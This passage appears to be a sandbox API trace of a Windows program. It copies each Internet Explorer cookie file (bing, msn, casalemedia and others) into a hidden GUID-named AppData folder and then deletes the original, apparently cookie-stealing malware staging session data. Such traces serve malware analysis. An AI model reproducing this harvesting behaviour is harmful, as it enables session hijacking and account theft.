wMatch=0x94e005c) returned="\\aetadzjz@c.bing[1].txt" [0114.878] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0114.878] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0114.878] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0114.878] StrChrW (lpStart="aetadzjz@c.bing[1].txt", wMatch=0x94e005c) returned 0x0 [0114.878] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@c.bing[1].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@c.bing[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@c.bing[1].txt" [0114.878] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@c.bing[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@c.bing[1].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@c.bing[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@c.bing[1].txt"), bFailIfExists=0) returned 1 [0115.209] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0115.209] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@c.bing[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@c.bing[1].txt")) returned 1 [0115.210] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a93030 | out: hHeap=0x9770000) returned 1 [0115.210] lstrlenW (lpString="Low\\aetadzjz@c.msn[2].txt") returned 25 [0115.210] lstrlenW (lpString="\\cookie.ie") returned 10 [0115.210] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0115.210] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xf0) returned 0x9a6e990 [0115.210] lstrcpyW (in: lpString1=0x9a6e990, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0115.210] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0115.211] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0115.211] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0115.211] StrChrW (lpStart="Low\\aetadzjz@c.msn[2].txt", wMatch=0x94e005c) returned="\\aetadzjz@c.msn[2].txt" [0115.211] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0115.211] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0115.211] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0115.211] StrChrW (lpStart="aetadzjz@c.msn[2].txt", wMatch=0x94e005c) returned 0x0 [0115.211] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@c.msn[2].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@c.msn[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@c.msn[2].txt" [0115.211] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@c.msn[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@c.msn[2].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@c.msn[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@c.msn[2].txt"), bFailIfExists=0) returned 1 [0115.214] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0115.214] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@c.msn[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@c.msn[2].txt")) returned 1 [0115.215] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a93140 | out: hHeap=0x9770000) returned 1 [0115.215] lstrlenW (lpString="Low\\aetadzjz@c1.microsoft[2].txt") returned 32 [0115.215] lstrlenW (lpString="\\cookie.ie") returned 10 [0115.215] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0115.215] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xfe) returned 0x9a96580 [0115.215] lstrcpyW (in: lpString1=0x9a96580, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0115.215] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0115.215] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0115.216] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0115.216] StrChrW (lpStart="Low\\aetadzjz@c1.microsoft[2].txt", wMatch=0x94e005c) returned="\\aetadzjz@c1.microsoft[2].txt" [0115.216] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0115.216] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0115.216] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0115.216] StrChrW (lpStart="aetadzjz@c1.microsoft[2].txt", wMatch=0x94e005c) returned 0x0 [0115.216] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@c1.microsoft[2].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@c1.microsoft[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@c1.microsoft[2].txt" [0115.216] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@c1.microsoft[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@c1.microsoft[2].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@c1.microsoft[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@c1.microsoft[2].txt"), bFailIfExists=0) returned 1 [0115.540] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a96580 | out: hHeap=0x9770000) returned 1 [0115.540] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@c1.microsoft[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@c1.microsoft[2].txt")) returned 1 [0115.541] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a93250 | out: hHeap=0x9770000) returned 1 [0115.541] lstrlenW (lpString="Low\\aetadzjz@casalemedia[2].txt") returned 31 [0115.541] lstrlenW (lpString="\\cookie.ie") returned 10 [0115.541] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0115.541] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xfc) returned 0x9a96580 [0115.541] lstrcpyW (in: lpString1=0x9a96580, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0115.541] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0115.541] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0115.541] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0115.541] StrChrW (lpStart="Low\\aetadzjz@casalemedia[2].txt", wMatch=0x94e005c) returned="\\aetadzjz@casalemedia[2].txt" [0115.541] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0115.541] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0115.542] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0115.542] StrChrW (lpStart="aetadzjz@casalemedia[2].txt", wMatch=0x94e005c) returned 0x0 [0115.542] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@casalemedia[2].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@casalemedia[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@casalemedia[2].txt" [0115.542] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@casalemedia[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@casalemedia[2].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@casalemedia[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@casalemedia[2].txt"), bFailIfExists=0) returned 1 [0115.624] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a96580 | out: hHeap=0x9770000) returned 1 [0115.624] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@casalemedia[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@casalemedia[2].txt")) returned 1 [0115.624] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a93370 | out: hHeap=0x9770000) returned 1 [0115.624] lstrlenW (lpString="Low\\aetadzjz@connextra[2].txt") returned 29 [0115.624] lstrlenW (lpString="\\cookie.ie") returned 10 [0115.624] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0115.625] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xf8) returned 0x9a6e990 [0115.625] lstrcpyW (in: lpString1=0x9a6e990, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0115.625] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0115.625] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0115.625] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0115.625] StrChrW (lpStart="Low\\aetadzjz@connextra[2].txt", wMatch=0x94e005c) returned="\\aetadzjz@connextra[2].txt" [0115.625] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0115.625] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0115.625] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0115.625] StrChrW (lpStart="aetadzjz@connextra[2].txt", wMatch=0x94e005c) returned 0x0 [0115.625] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@connextra[2].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@connextra[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@connextra[2].txt" [0115.625] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@connextra[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@connextra[2].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@connextra[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@connextra[2].txt"), bFailIfExists=0) returned 1 [0115.736] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0115.736] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@connextra[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@connextra[2].txt")) returned 1 [0115.736] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a93490 | out: hHeap=0x9770000) returned 1 [0115.736] lstrlenW (lpString="Low\\aetadzjz@crwdcntrl[1].txt") returned 29 [0115.737] lstrlenW (lpString="\\cookie.ie") returned 10 [0115.737] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0115.737] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xf8) returned 0x9a98470 [0115.737] lstrcpyW (in: lpString1=0x9a98470, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0115.737] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0115.737] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0115.737] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0115.737] StrChrW (lpStart="Low\\aetadzjz@crwdcntrl[1].txt", 